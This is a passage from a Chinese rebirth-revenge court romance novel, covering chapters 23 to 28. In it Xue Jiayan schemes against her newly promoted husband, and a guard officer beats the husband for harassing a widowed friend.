薛嘉言满心怨怼,对姜玄和戚少亭都充满了愤恨。她冷冷道:“是吗,夫君不嫌我是个不贞不洁的女人?” 戚少亭脸上笑容淡了淡,揉了揉薛嘉言的肩膀,柔声安慰:“怎么会呢,我知道你也不愿的,我会永远记住你的好。” 戚少亭抱着棠姐儿兴冲冲往他父母住的院子庆祝去了,戚家上下无不欢欣雀跃。 戚倩蓉这阵子正和魏扬打得火热,听到哥哥高升,一想到自己是五品官的妹妹,身份与魏扬更加匹配,说不得就能假如伯府做世子夫人,不由心花怒放,将戚少亭夸了又夸。 戚炳春也满面红光,他道:“少亭啊,你们鸿胪寺日后若是有合适的差使,别忘了你爹我。” 戚少亭哈哈一下,欢快的氛围里,栾氏忽然问道:“儿啊,你怎么一下子升了五品官啊,是立了什么大功吗?” 栾氏满脸期待地看着儿子,等着他说出自己立下的不世之功。 戚少亭脸上笑容淡了淡,轻描淡写说道:“皇上偶然看到我的文章,说我在顺天府委屈了,提拔我去了鸿胪寺。” 戚家人哪里懂连升四级的稀有,沉浸在家里出了大官的欢喜里。 薛嘉言留在春和院,她实在烦躁,便让司雨准备好笔墨纸砚,写了几张字,想要借此静心,待写完了才发现满纸都是“狗皇帝”! 薛嘉言将那页纸撕碎,颓唐地坐在床边,想到重生以来只想着弄死戚家人,没想到第一步就不顺,不过晚了些时日,戚少亭还是升了官,那她重生而来的意义又在哪里? 她气得双眼含泪,把姜玄祖宗八代都在心里骂了一遍。 第23章 消解 这日晨起,薛嘉言坐在妆台前,镜中是满脸不甘的自己,眼底蒙着层散不去的倦意,笼了沉沉一层阴霾。 司春拿了一根红宝石簪子正准备往她头上插,薛嘉言抬手将金簪夺过来,扔回妆匣,“哐当”一声轻响,在寂静的屋里格外刺耳。 “你出去吧,我想一个人静静。” 那根簪子是姜玄赐的,她一看到簪子就想到姜玄,恨得牙痒痒。 重生回来,她步步小心,先是送走母亲,再是温柔小意讨好皇帝,为的就是徐徐图之,弄死戚家人。 可到头来,戚少亭还是顺着前世的轨迹升了官。难道重生真的没有意义?难道她再怎么挣扎,都逃不开命运的摆弄? 她想起前世戚少亭踩着她官职步步高升,飞黄腾达,而她声名狼藉,受人唾骂,棠姐儿也落得凄惨下场,一股无力感像潮水般将她淹没。 “狗皇帝!”薛嘉言低声骂了一句,声音里带着抑制不住的哽咽。 她为了讨姜玄欢心,做了多少从前不屑做的事?只盼着他能记着她的温柔小意,满足她小小的要求。 可他呢?转头就给了戚少亭连升四级的恩宠,分明是把她的讨好当笑话,把她的请求当耳旁风! 狗皇帝,两世都这般欺负她! “下次再宣我进宫……”她咬着牙,一字一句地对自己说,“打死我也不去了!” 管他什么帝王威严,管他什么恩宠得失,她受够了这种任人摆布的日子。 戚少亭升了官又如何?大不了她换条路走,哪怕不再靠着姜玄,也要把戚家全弄死,大不了鱼死网破! 薛嘉言因为皇帝给戚少亭封了官,气得夜里睡不好,早上起来肚子又隐隐作痛,算算日子应该是要来癸水了,她一大早就心气不顺,醒来第一件事就是咒骂狗皇帝。 早在她第一次进宫时,张鸿宝就让人问了她月事的大致日期,想来这几日是不可能来召她了。 早餐时,戚少亭一脸笑意进来,殷勤地对薛嘉言道:“早上我让厨房给你做了碗阿胶红枣羹,你今日应该来月事了,补一补。” 薛嘉言看着戚少亭的殷勤,不由心生鄙夷,他大概以为这个官是她为他求来的,自从元宵节过后,总算是对她露出笑脸了。 薛嘉言不做声,戚少亭也不以为意,上前抚着她的肩头,柔声道:“娘子辛苦了,来了月事就在家好好歇着,我不陪你用早膳了,得早点去衙门,还有许多事情要交代给同僚呢。 夜色如墨,薛嘉言平躺在床上,双眼睁得透亮,一丝睡意也无。 若就此沉湎于失意,与前世那个在命运的泥沼里挣扎无果、最终俯首认命、任人搓圆捏扁的薛嘉言,又有什么分别? 重生一世,这不是偷来的光阴,而是逆天改命的契机。难道要让这来之不易的机会,重蹈覆辙,再一次品尝前世的痛苦吗? “不!” 一声低喝在寂静中响起,薛嘉言胸腔里翻涌的不甘不再是微弱的火苗,而是燎原的野火。 戚少亭升了鸿胪寺丞又怎样? 朝堂浮沉,从无永恒的安稳。多少位高权重者昨日还风光无限,翌日便跌落尘埃,何况他这初登朝堂的小小寺丞。 世人常说,得不到的执念最磨人。可得到后再被狠狠剥夺,才是剜心蚀骨的酷刑。 戚少亭追名逐利,贪慕权势的男人,最让他痛不欲生的,是让他尝到权势的滋味,再将他拽下来,摔得粉身碎骨,一无所有。 她不必急于一时,重生的最大优势,便是知晓人心与世事的走向,她有的是时间,静静等待时机,合适的机会给予戚少亭致命一击。 次日晨起,司春进来伺候梳洗时,薛嘉言正对着妆镜描眉,黛笔在眉峰处轻轻勾画,一弯柳眉便画好了。 前两日里蒙着阴霾的眼神,竟已透出几分清亮,那股消沉气息,终是被她自己压了下去。 “奶奶今日气色好多了。”司春笑着,细心给薛嘉言戴上珍珠耳坠。 薛嘉言昨夜已筹谋好,她对司春道:“等会去槐花胡同看望郭大奶奶,你让人去巷口李记买两斤桂花糖蒸栗,还有西街张记的酱鸭。” 她从不空手去拜访人,尤其是此刻要借郭晓芸搭线,更需做得周全。 马车驶出周府,往槐花胡同去。随着马车轻轻摇晃,薛嘉言思索着,苗菁那日看到她的帕子,想必已经派人查过她了,她等了好几日才去郭晓芸那里,想来苗菁再多疑,应当也不会怀疑她了。 到了郭晓芸家,郭晓芸见司春手里拎着好几个油纸包,忙接过来,笑着对薛嘉言:“你每次来都带这么多东西,倒让我不好意思了。” “都是些寻常吃食。” 薛嘉言跟着她进了屋,见屋里桌案上摆着不少布匹,便问:“王掌柜得让人送来的?” 郭晓芸点点头,“是的,前儿送来的,我已经做了两件出来。王掌柜给的工钱比我原先接的那家高多了,薛妹妹不是故意要帮衬我吧?” “哪有,都是市价,你别多想。”薛嘉言笑着摆手。 又坐了半个时辰,说了不少话,薛嘉言才起身告辞。 郭晓芸送她到院门口,还在反复说着感谢的话,薛嘉言笑着应下,登上马车时,她随意瞥了几眼四周,不过很快收回目光。 锦衣卫办事肯定不落痕迹,就算苗菁派了人跟着她,想来也不会露出行迹叫她看见的。 马车往回驶,薛嘉言靠在车壁上,想起戚少亭。那厮刚升了鸿胪寺丞,他对郭晓芸坏了不可告人的心思,说不定过几日就会来郭晓芸面前显摆一番,好诱哄郭晓芸给他做妾。 若是那时,苗菁的人或者和苗菁本人恰好看到听到呢? 苗菁对郭晓芸有年少时的情意,戚少亭若是威逼利诱郭晓芸做妾,以苗菁的脾气,说不定当场就忍不住要动手。 只可惜,苗菁是锦衣卫,心思比戚少亭缜密百倍,且极爱记仇,她能算计戚少亭来找郭晓芸,却不敢保证苗菁真会“恰巧”撞见,更不敢主动去引苗菁过来。 “罢了,只能顺势而为。”薛嘉言轻轻叹了口气。 第24章 炫耀 重生以来,薛嘉言一直让陪房吕舟的儿子吕征暗中跟着戚少亭,好知道他的一举一动。 吕征今年十三岁,半大小子一个,长得又寻常,扔人堆里瞧不见,他人机灵,跟了戚少亭这些时日,还真没被戚少亭发现。 这日,吕征一路跑回来,跑了一脑门的汗,气喘吁吁对薛嘉言道:“奶奶……爷下衙后没回府,先去首饰铺买了根银簪,接着就打马往南走了,小的跟了两条街,看样子是去槐花胡同了!” 薛嘉言让司春赏了吕征一碗酥酪吃,让他坐在院子里歇会,自己则逗着棠姐儿玩。 她心中暗暗有些可惜。 她早料到戚少亭会忍不住去郭晓芸面前炫耀,他刚刚高升,正是志得意满的时候,怎会放过在郭晓芸面前显摆的机会。 若是此刻能让人递个信给苗菁,让他恰好撞见戚少亭对郭晓芸献殷勤或者是骚扰,以苗菁的性子,定然少不了一场冲突,说不定还能当场给戚少亭一顿教训,也能解她心头这几日的郁气。 可这念头刚冒出来,就被她压了下去。 昨日她才去过槐花胡同,若今日再急匆匆赶去,未免太过刻意。 她轻轻叹了口气,虽说事在人为,但保险起见,还是不要设计苗菁的好。 好在曾桂香母女已经住到了郭晓芸家里,有她们在,戚少亭想像上一世那样威逼利诱郭晓芸,是不可能了。 只要戚少亭对郭晓芸的心思没有放下,遇上苗菁是早晚的事,她耐心等着,总能等到戚少亭与苗菁对上的那一天。到那时,不用她动手,锦衣卫自会让戚少亭尝尽苦头。 槐花胡同,日头刚刚落下,郭晓芸正点着灯缝衣裳。 “叩叩叩——”院门外忽然传来敲门声,声音不大,却让郭晓芸手一抖,绣花针径直戳进指尖,渗出一点殷红的血珠。 荷花赶紧跑过去,从门缝里往外瞧了一眼,转身就往回跑,“奶奶!又是戚大人!” 郭晓芸的眉头紧紧蹙起,很是烦躁地叹了一口气。 上次戚少亭来,她虽说得委婉,但意思却很清楚。 “夫君新丧,我守孝期间不便与外男多来往,多谢戚大人照拂,往后请薛妹妹来就行了”。 戚少亭那样聪明的人,怎么会听不懂这是婉拒?怎么还会再来? “叩叩叩——”敲门声又响了,这次比刚才更急些。 曾桂香闻声从里屋走出来,见郭晓芸脸色发白,沉声道:“奶奶,开门吧。这门总不能一直关着,回头街坊四邻看见了,指不定要传些什么闲话。咱们家里人多,有我在,定能护住奶奶” 郭晓芸看着曾桂香,心里一暖,心里对薛嘉言的感激又多了几分。 她深吸一口气,对荷花道:“开门去吧。” 戚少亭抬脚走进来,一身硬挺的官袍,腰间系着块成色不错的玉佩,手里握着一个描金的小盒子,脸上满是藏不住的意气风发,连走路的姿态都比从前张扬了几分。 “嫂子在家忙什么呢?”戚少亭自顾自走到堂屋坐下,笑着跟郭晓芸说话。 郭晓芸淡淡道:“缝些东西。荷花,去烧壶水来。” 说着,她拉着曾桂香往旁边的椅子上坐,刻意让曾桂香挡在自己身侧,姿态明显。 戚少亭的目光落在曾桂香身上,眉头微挑。这妇人穿着半旧的蓝布裙,眼神却很利,瞧着有些眼熟,却想不起在哪见过。 他看着郭晓芸,指着曾桂香道:“这位是?” “这是曾姨,”郭晓芸语气平静,“夫君走后,我一个人住有些害怕。薛妹妹担心我,便让曾姨来陪我住些日子,也好有个照应。” “薛妹妹”三个字,让戚少亭明白了眼前妇人的来历,他在心里暗骂薛嘉言多事! 但他面上没露半分不悦,只看了曾桂香一眼,语气却带着不容置疑的倨傲:“原来是薛家的人。你出去吧,我有几句话要跟嫂子说。” 曾桂香坐着没动,抬眼看向戚少亭时,眼神里多了几分冷意:“姑爷不是读书人吗?应该懂礼数啊。郭大奶奶虽是你兄弟媳妇,可如今守寡,瓜田李下,正该守着规矩,怎么要人家单独跟你说话?我可替我们姑娘不值,得回去找老爷太太说说话去了。” 这话丝毫没有给戚少亭留情面,堵得戚少亭一时语塞。他没想到这个看似普通的妇人,竟这般不好打发。 郭晓芸坐在一旁,见曾桂香替自己挡了回去,心里的慌乱渐渐散去,只垂着眼不说话。 戚少亭脸色终于微沉,他自然知道薛家老两口去了丹阳,曾桂香这话不过是虚张声势,便冷笑着沉下脸:“你不过是薛家的一个仆从,哪来的胆子这样跟主家说话?滚出去!” 曾桂香是个疾恶如仇的性子,她又不是奴籍,听了戚少亭的话,像是听到了天大的笑话,猛地翻了个白眼,声音里满是不屑,“我老婆子吃的是薛家的米,穿的是薛家的布,拿的是我们太太给的月钱,跟你半毛钱关系都没有!你倒来我这里充主子?” 这话像巴掌似的,狠狠扇在戚少亭脸上。他脸色瞬间涨红,又青又白,手指着曾桂香,气得声音都发颤:“你……你放肆!” 他猛地拍案站起来,抬脚就往曾桂香心口踹去,动作又快又狠,显然是被怒火冲昏了头,连读书人的体面都不顾了。 郭晓芸吓得惊呼一声,下意识想拦,却被曾桂香抬手推开。只见曾桂香站在原地没动,等戚少亭的脚离自己不过半尺时,她右手快如闪电,一把攥住戚少亭的脚踝,手上微微用力一拧。 戚少亭只觉脚踝传来一阵剧痛,重心瞬间失衡,“咚”的一声重重摔在地上,后腰磕在桌腿上,疼得他龇牙咧嘴,半天没爬起来。 第25章 撞见 郭晓芸被这变故惊得脸色发白,看着地上脸色铁青的戚少亭,又看看一脸平静的曾桂香,心里又慌又乱。 她知道曾桂香有功夫,却没料到她会直接动手,万一闹出事来,曾桂香毕竟是受雇与薛家,到时候不好交代,她怕连累了曾桂香。 “曾姨,你先出去!” 郭晓芸赶紧上前,推着曾桂香往门口走,压低声音急道,“我不关门,你就在门口守着!” 曾桂香还想再说什么,见郭晓芸惶恐,只好咬咬牙,转身出了屋,却没走远,就在院子里听动静。 屋里,郭晓芸看着还坐在地上的戚少亭,手足无措,恰好荷花端着茶水进来,她赶紧道:“荷花,快把茶放下,帮我扶戚大人起来。” 荷花怯生生地应着,刚要伸手,却被戚少亭狠狠瞪了一眼,吓得赶紧缩回手。 “滚出去!” 荷花看了一眼郭晓芸,见郭晓芸对自己点头,这才出去了。 戚少亭揉着后腰,抬头看向郭晓芸,脸色难看,带着几分刻意的虚弱呻吟道:“嫂子,我……我腰磕得疼,你扶我一把。” 郭晓芸犹豫了一下,终究还是心软,又想着息事宁人,走上前,伸手抓住他的胳膊,用力将他扶起来,让他坐在椅子上。 “戚大人,您大人有大量,别跟曾姨生气,她不过是关心我……” 郭晓芸见戚少亭坐稳了,刚想松手,戚少亭却突然反手一拉,将她拽到自己身前,紧紧攥着她的手腕,压低声音,眼神里带着贪婪与急切:“嫂子,我如今高升了,是五品鸿胪寺丞!你在这破院子里守寡,有什么意思?不如跟我回家,你还在热孝里,嫁人也不违例!” 他早就觊觎郭晓芸,从前碍着徐维还在,又答应了薛嘉言不纳妾,这才一直藏在心里。 如今徐维已死,薛嘉言又委身皇帝,哪还有脸来约束他。 他一个鸿胪寺丞,纳个妾室也不为过吧。 “你放开我!”郭晓芸又羞又愤,用力想挣开,可她一个弱女子,哪里敌得过戚少亭的力气?手腕被攥得生疼,眼泪都快被逼出来了,她猛地朝着门口大喊:“曾姨!救我!” 话音刚落,“呼”的一阵旋风吹进来,屋门被人从外面踹开,还没等戚少亭反应过来,一只穿着黑色皂靴的大脚突然踹在他胸口。 “嘭”的一声闷响,戚少亭往后倒去,重重撞在墙上,然后瘫倒在地,捂着胸口剧烈咳嗽起来,嘴角都溢出了血丝。 郭晓芸趁机挣脱,踉跄着退到一边,抬头看向门口,只见一个身材高大的男人站在那里,穿着一身玄色衣裳,腰上系着宽腰带,肤色有些黑,眉毛尾端带着一道浅浅的刀疤,眼神冷得像冰,正死死盯着地上的戚少亭。 郭晓芸觉得眼前人有些眼熟,同记忆中一个清秀的少年眉眼相像,可那孩子瘦瘦小小的,哪里有这般的威风。她一时不敢认,眼前人到底是谁。 戚少亭疼得浑身发颤,抬头想骂,可胸口疼得厉害,他捂着胸口竟说不出话来。 这时,曾桂香也从外面冲了进来,手里还提着一根棍子,看向来人,喝道:“你是谁?” 那人却没有回答她,往前迈了半步,高大的身影在郭晓芸面前微微躬了躬,声音竟带着几分不易察觉的紧张:“晓芸姐……” 郭晓芸闻言往前走了两步,红着眼眶上下打量:“苗……苗三弟,真是你!” 来人正是苗菁。 原来,昨日薛嘉言来看望郭晓芸,苗菁的人跟着她到了槐花胡同,打听了一下她看望的是谁,得知女主人姓郭,与苗大人交代的姓氏正好能对上,赶紧回去禀告。 那时苗菁正在当值,被一桩公务绊住了脚,后又进宫去给皇帝禀告,等到今日下值回到家里,才听说了这件事。 苗菁回到家脱了身上的飞鱼服,锦衣卫凶名在外,他怕吓到了郭晓芸,匆忙换了一件衣裳,这才赶紧策马去槐花胡同。 苗菁到了槐花胡同,本想敲门进去的,可不知怎么的,忽然不敢抬手敲门。 他已经有八年不曾见过郭晓芸了,不知道郭晓芸还记不记得他。 他叫手下去巷口买些礼品来,准备带着礼物敲门。 郭晓芸住的宅院并不大,苗菁是习武之人,耳力惊人,他在前门等着,郭晓芸在二进院子的堂屋喊了“你放开我!”,他听得清楚,心急之下,来不及敲门,直接跃起,飞也似的从院墙上掠过,跳入院内,迅速地冲进了堂屋里。 苗菁看着她泛红的眼眶,喉结动了动,刚要开口,就听见地上传来“哼”的一声。 戚少亭捂着胸口,挣扎着坐起来,脸色又青又白,既是疼的,也是气的。 他看着突然冒出来的苗菁,又看看郭晓芸对他的亲近模样,心里的火气又窜了上来:“你是什么人?敢闯民宅还动手打人!我告诉你,你这是殴打朝廷命官!” 他以为报出官身,对方总得忌惮几分,却没料苗菁连眼皮都没抬一下,只冷冷瞥了他一眼。眼神凌厉,看得戚少亭心头一缩。 郭晓芸赶紧道:“戚大人别生气,这是我邻家弟弟,刚才是误会了。” 苗菁却没理会戚少亭,目光一直落在郭晓芸身上,眼眸里有说不清的东西。 八年光阴在她脸上没留下多少痕迹,眉眼依旧是记忆里的温和,连说话时的语气都带着从前的软意。他心头泛着酸甜,却没说什么,眼下还不是叙旧的时候。 苗菁看向仍坐在地上的戚少亭身上,想起方才冲进来时,这人正攥着郭晓芸的手腕,牙根顿时咬得发酸,双眼微微眯起,声音冷得像冰:“你是哪个衙门的官?” 戚少亭胸口还在疼,方才被踹那一脚力道极重,他缓了半天才喘匀气。此刻见这人是郭晓芸的熟人,却依旧没消气,哑着嗓子指着苗菁骂:“贼子!本官是鸿胪寺的!” 第26章 委屈小狗 苗菁抱着膀子往后靠了靠,目光扫过戚少亭那身皱巴巴的官服,看服色是七品以下官员。 他唇角溢出一丝冷笑,“鸿胪寺几位大人我倒是都认识,怎么没见过你?” 戚少亭略昂着头,强撑着摆出官威,“本官乃新任鸿胪寺丞!” 苗菁这时想起来,前些日子鸿胪寺丞任志学犯了事,被罢官了,听说皇帝钦点了一个人任职,原来点的就是眼前这个无耻之人? 戚少亭见对方没什么反应,以为被自己吓到了,他如今还在顺天府任职,把这小子弄去顺天府吃吃苦头也好,顺便叫他出出血,赔偿自己今日所受之苦。 “你等着,本官这就去喊人报官。” 说着,他戚少亭扶着旁边的椅子扶手,忍痛慢慢站起来,就要往门外走 郭晓芸脸色瞬间变了,戚少亭毕竟是实打实官身,真闹到官府去,吃亏的只会是苗菁。 她赶紧上前一步,伸手拉住戚少亭的衣袖,声音带着恳求:“戚大人息怒!苗三弟他不是故意的,只是见我受了惊,一时失了分寸,您大人有大量,别跟他一般见识。” 苗菁却伸手拉住郭晓芸的胳膊,轻轻将她拉到自己身后护住,他似笑非笑地看着戚少亭,朝门外努了努嘴,语气带着笃定的底气:“去吧,去报官吧。跟顺天府的人说说,我因为什么打的你。” 戚少亭的脚步顿住了,有些犹豫。他方才情急之下攥着郭晓芸的手腕,这事若是传出去,说他对守寡的好友之妻动手动脚,总是难听得很。 不过他转念一想,他好歹在顺天府任职一年多,都是熟人,肯定会向着他,瞒住这些不在话下。 这个愣头青把他打得浑身都疼,怎么样也要他出一出血,让他知道官字两张口,上说有理,下说也有理,正好也让郭晓芸看看他的官威。 戚少亭捂着仍在发疼的胸口,脚步虚浮地冲出堂屋,嘴里喊着要去报官。 堂屋里,郭晓芸见戚少亭真走了,急得眼圈都红了,拉着苗菁的胳膊就往门外推:“苗三弟,你快走吧!戚大人跟顺天府的人熟,真等衙役来了,你就走不了了!你听姐的,你走了就没事了。戚大人与亡夫是好友,不会对我赶尽杀绝的。” 苗菁任由她拉着,目光却沉了沉,此刻见郭晓芸这般担心,心里对戚少亭的恨意更甚。他想着自己手段狠辣,恐郭晓芸看了害怕,便道:“晓芸姐,你放心,我如今在五城兵马司当差,与鸿胪寺的大人倒也认识,这是小事。我先去办点事,你在家等我,我出门找那厮说两句话,一会就回来。” 郭晓芸还想再劝,苗菁已转身快步走出院门。 苗菁出了郭晓芸的家,正好小旗薄广提着礼物刚拐进槐花胡同,他朝薄广招招手,薄广立马跟在他身后。 戚少亭正在巷子口,对小厮阿吉交代什么。 苗菁看到这一幕,大步上前,不等戚少亭反应,一把揪住他的衣领,两指死死卡住他的喉咙,将他狠狠抵在墙上。 “呃……唔……”戚少亭被掐得满脸通红,手脚胡乱地挣扎,可苗菁是习武之人,力道大得惊人,他怎么挣都挣不开,只能眼睁睁看着自己的脸从红憋成青紫。 阿吉早被薄广以同样的手法制住,主仆二人两张脸紫成两个大茄子。 苗菁抬手“啪啪啪”连着扇了戚少亭几个耳光,清脆的响声在巷子里回荡。 戚少亭的脸颊瞬间红肿起来,嘴角也渗出血丝。他怒目圆瞪,死死盯着苗菁,眼里满是怨毒。 “再瞪?”苗菁嗤笑一声语气阴得发寒,“再瞪,我就把你的双眼挖出来……” 他的声音并不大,可满是阴狠。戚少亭看着眼前这人眼神里的狠劲,不像是吓唬人,是真的能做出挖眼这种事!他的挣扎渐渐停了,眼里的怨毒变成了惊慌,看向苗菁的目光里满是祈求。 苗菁松开掐着他喉咙的手,一把将他扔在地上,随即一脚踩在他的胸口,戚少亭疼得闷哼出声。 苗菁弯下腰,凑近戚少亭的耳边,声音压得极低,却字字带着杀意:“记住,往后再敢打晓芸姐的主意,我让你死!也不许去报官,没得坏了我姐的名声。听懂了吗?” 戚少亭胸口疼得几乎喘不过气,又被他眼里的阴狠吓得浑身发抖,连忙点头,声音瑟缩得像蚊子哼:“听……听懂了!我再也不来了!再也不敢了!” 苗菁盯着他看了半晌,确认他是真怕了,才缓缓挪开脚,直起身拍了拍衣摆上的灰尘,转身朝着郭晓芸家的方向走去。 郭晓芸在院子里急得团团转,见苗菁回来了,忙问道:“怎么样?戚大人没去报官吧?” 苗菁道:“没有,那位戚大人说既然是误会,就此作罢。” 郭晓芸这才松了一口气,上下打量着苗菁,有些欢喜地说道:“苗三弟长大了,这么高大,跟小时候完全不一样了。” 苗菁露出浅浅的笑,低声问:“晓芸姐,我饿了,家里有饭吗?” 郭晓芸道:“有!你坐一会,我去做饭给你吃,你爱吃什么,姐还记得呢。” 苗菁站在灶房门口,看着郭晓芸忙前忙后,目光温柔,只觉得八年以来,最欢喜不过今日。 饭桌上,郭晓芸给他夹了块带软骨的排骨,眼里带着笑意:“我记得你最爱吃话梅排骨,你尝尝。” 苗菁低头啃着排骨,嘴角忍不住上扬,眼底却有些发酸。 他不敢抬头,怕泄露自己的心事,埋头吃着排骨,味道一如从前。 吃完饭,苗菁看了看四周的陈设,对郭晓芸道:“晓芸姐,我如今在京中也添了宅子,比你这里宽敞许多,你不如搬到我那里去住,咱们也有个照应。” 郭晓芸忙道:“那怎么行。” 她是寡居之人,怎么好到苗菁家里去住呢。 苗菁脸上露出一丝委屈,嗫嚅着道:“我在京中也无旁的亲人,回家都是冷锅冷灶,今日见了晓芸姐才找到一丝家的感觉……”郭晓芸看着高大的汉子露出这样的神态,心不由软了软,有些纠结的说:“苗三弟,你容我想想。” 第27章 白日召她 戚少亭带着阿吉回到家时,天已经黑透了。 他刚跨进院门,就撞见正站在廊下等着他回来吃晚饭的栾氏。 “我的儿!你这是怎么了?”栾氏一眼就看见他脸上红肿的指印,还有歪斜的衣领、沾着尘土的官袍,当即扑上来,扯着他的袖子急声追问,“脸上怎么青一块紫一块的?身上也脏成这样,是跟人打架了还是摔着了?” 戚少亭被她碰到伤口疼得嘶了一声,想起被苗菁掐着喉咙、扇巴掌的屈辱,脸色愈发阴沉,一把挥开栾氏的手:“没什么,走路不小心摔了。” “摔了?” 戚炳春闻声走过来,眼神锐利地扫过他的脸,“摔能摔出指痕来?你老实说,是不是在外面惹事了?” 戚少亭被戳破谎言,顿时恼羞成怒,声音也拔高了几分:“说了是摔的!爹您管那么多干什么?我是朝廷命官,难道还会跟人街头斗殴不成?” 说完,他不等戚炳春再问,径直拨开两人,大步往春和院走。 春和院里,烛火通明。薛嘉言正坐在桌边,握着棠姐儿的小手教她写“人”字,棠姐儿的小脸上满是认真,笔尖在宣纸上歪歪扭扭地划过。 听到脚步声,薛嘉言抬头,就见戚少亭一脸狼狈地走进来。 “爹……” 棠姐儿怯生生地抬头,看到戚少亭阴沉又红肿的脸,吓得赶紧攥紧薛嘉言的衣角,眼泪瞬间在眼眶里打转,眼看就要哭出来。 薛嘉言连忙放下笔,将棠姐儿搂进怀里,拍着她的背轻声安慰:“乖,不怕……。” 她只关心着女儿,却没过问戚少亭。 戚少亭本就一肚子火气没处发,见她这般冷淡,连句关心的话都没有,更是怒火中烧,再也维持不住温柔样子。 他走上前,“砰”的一声拍在桌子上,震得砚台都晃了晃:“薛氏!你没看见我伤成这样吗?连句关心的话都没有?你还是我的妻子吗?” 棠姐儿被桌子响动吓得“哇”地哭了出来,紧紧抱着薛嘉言的脖子。 薛嘉言安抚地拍着女儿的背,这才抬眼看向戚少亭,眼底无波,只有一片清冷。 她有许多话可以拿来刺戚少亭,可不愿意当着棠姐儿的面,棠姐儿还小,她不想让女儿两三岁就明白这世间的丑恶、 “你若需要人伺候,我让司春来给你擦药。” 戚少亭看着棠姐儿抽噎着,指着薛嘉言,半天说不出下一句,只能恨恨地跺了跺脚,转身往内间走。 薛嘉言没理会他,低头温柔地哄着棠姐儿:“棠棠不哭了,爹爹摔伤了,很疼,所以才对娘发火。咱们不写字了,娘给你讲故事,好不好?” 夜里,哄睡了棠姐儿后,薛嘉言琢磨着司雨刚才传过来的消息,说是阿吉也受了伤。吕征跑了一趟槐花胡同,打听了一下,说是没听说郭晓芸那边起什么冲突。 薛嘉言想了想,戚少亭一个从七品的经历,只处理一些文书,公事上不会得罪人。他今日下衙兴冲冲带着银簪去找郭晓芸,偏又受了伤回来,十有八九是跟苗菁撞上了。 收拾得这般干净,邻里都没传出什么话来,必是锦衣卫的手笔。 薛嘉言不由脸上浮现笑意,总算有个事情是脱离了前世的轨迹了。 惊蛰这日,恰逢休沐,戚少亭一早便换上了件新做的宝蓝锦袍,领口袖口陪着绛红色的暗纹布,衬得他比往日多了几分意气。 戚少亭脸上堆着笑凑到薛嘉言跟前:“娘子,顺天府的同僚知道我升了官,今儿要摆酒为我庆贺,我出去一趟,晚些时候就回来。” 自升了鸿胪寺丞,戚少亭对薛嘉言的态度竟又变回了从前那般“温柔体贴”,温柔里又多了几分刻意的恭维,连说话的语气都软了不少,仿佛忘了前几日两人之间还争吵过。 薛嘉言抬眼扫过他,他脸颊上那处被打的青紫伤痕还未完全消退,虽用脂粉遮了些,仔细看仍能瞧见痕迹。 她收回目光,语气不咸不淡:“那你小心点,别再又摔了。” 这话像根细针,戳破了戚少亭的得意。他脸上的笑意猛地僵了一瞬,耳根微微发烫,却也不敢反驳,只讪讪地笑了笑,转身出门去了。 戚少亭的背影消失在院门口,奶娘抱着棠姐儿过来,薛嘉言看到女儿,眼底露出几分柔和,接过来亲了亲。 薛嘉言在城外有处小庄院,院里栽了不少杏树,眼下正是杏花盛开的时节,她想着带棠姐儿去庄子里赏杏花,也让自己散散心,这几日实在憋屈的难受。 她正盘算着让司春去备马车,司春却匆匆从外面走进来,凑到薛嘉言耳边小声禀报:“奶奶,张公公派人来了,说等会就要来接您。” 薛嘉言闻言,眉头瞬间蹙起。这可是白日,往日皇帝召她入宫都是在夜里,今日这般急切,难道是要白日宣淫? 她心里涌上几分不悦,语气也沉了下来:“你去回了来人,就说我来了癸水,身子不便,今儿不出门了。” 可司春却站着没动,脸上带着几分为难,又凑近了些压低声音:“奶奶,来人说了,皇上是知道您身子不方便的,没别的意思,就是想请您陪皇上说说话。” 薛嘉言在心里腹诽:她就没见这狗皇帝有心情好的时候! 一想到戚少亭方才那副得意扬扬的模样,再想到皇帝明明应了她的,却还是给戚少亭升了官,她就打心底里不想去。 可她也清楚,帝王的旨意容不得她推脱,纵使满心不愿,也没有反抗的余地。 她叹了口气,伸手摸了摸棠姐儿的头,轻声哄了两句,便起身朝着内室走去。 薛嘉言心中憋着气,没了半分讨好的心思,打开衣箱挑拣时,专捡了件石青色素面襦裙。 这件衣裳料子是好的,花纹和样式却有些老气,原是她做好了准备给母亲的。 司春端来妆盒,薛嘉言却懒得妆扮,想了想,往嘴唇上轻扑了层细粉,原本还算红润的唇色顿时变得苍白,衬得脸色也透着几分病气,瞧着就没精神。 第28章 画舫相见 薛嘉言收拾妥当走到院门口,刚要迈上马车,就见戚倩蓉从里面出来。 戚倩蓉穿了一身水红撒花裙,头上插着金步摇、银簪子,连耳坠都是成对的珍珠,恨不得把首饰盒里的东西都往身上堆,活像个首饰架子。 戚倩蓉年纪不过十五六岁,嘴唇涂得通红,像含了颗熟烂了的樱桃,反倒衬得眉眼稚嫩,显得有些俗气。 薛嘉言瞥了一眼就收回目光,这副打扮,多半是要去跟魏扬私会,前世戚倩蓉对她刻薄至极,如今她懒得管这小姑子的闲事,抬脚就要上车。 “嫂子,你去哪里?带带我吧!” 戚倩蓉清脆的声音从身后传来,快步追了两步,身边的小丫鬟彩鸢也赶紧跟上。 戚家本就只有一辆马车,还是薛嘉言的陪嫁,平日里多是她在用,戚少亭出门惯常骑马,此刻见薛嘉言要乘车,戚倩蓉便动了搭车的心思。 薛嘉言淡淡道:“不顺路。” 戚倩蓉撅起嘴道:“嫂子……你还没问我去哪里呢,怎么就知道不顺路!” 薛嘉言故意抬手轻咳一声,拿帕子掩住嘴,声音压得低了些,“我去看病。你去吗?” 戚倩蓉眼睛一亮:“你是去张大夫的医馆吗?那可太顺路了!我正好要从那边过——” 话没说完,就见薛嘉言帕子没挪开,语气又沉了沉:“只是我这病,怕有些过人你,若是不介意,就上来吧。” 戚倩蓉脸上的笑容瞬间僵住。她本就知道这阵子薛嘉言总说身子不好,连给母亲栾氏请安都免了,如今见薛嘉言嘴唇苍白、说话带咳,再想到“病会过人”四个字,脑子简单的她顿时慌了。 她往后缩了缩,拉着彩鸢的袖子,讪讪笑道:“嫂子,那……那还是算了吧。马车看着也挤,你病着正该好好休息,我就不打扰你了。” 说完,不等薛嘉言回应,她拉着彩鸢转身就走,头上的金步摇晃得厉害。 薛嘉言看着她的背影,嘴角勾起一抹淡而冷的弧度,抬手掀开车帘,弯腰坐进了马车里。 马车平稳地行进着,穿过几条街巷后,渐渐驶上了热闹的朱雀大街。这时,车辕上的司春看到一间茶楼,对车夫低声交代了几句,车夫随即将马车缓缓赶进了旁边一条僻静的巷子。 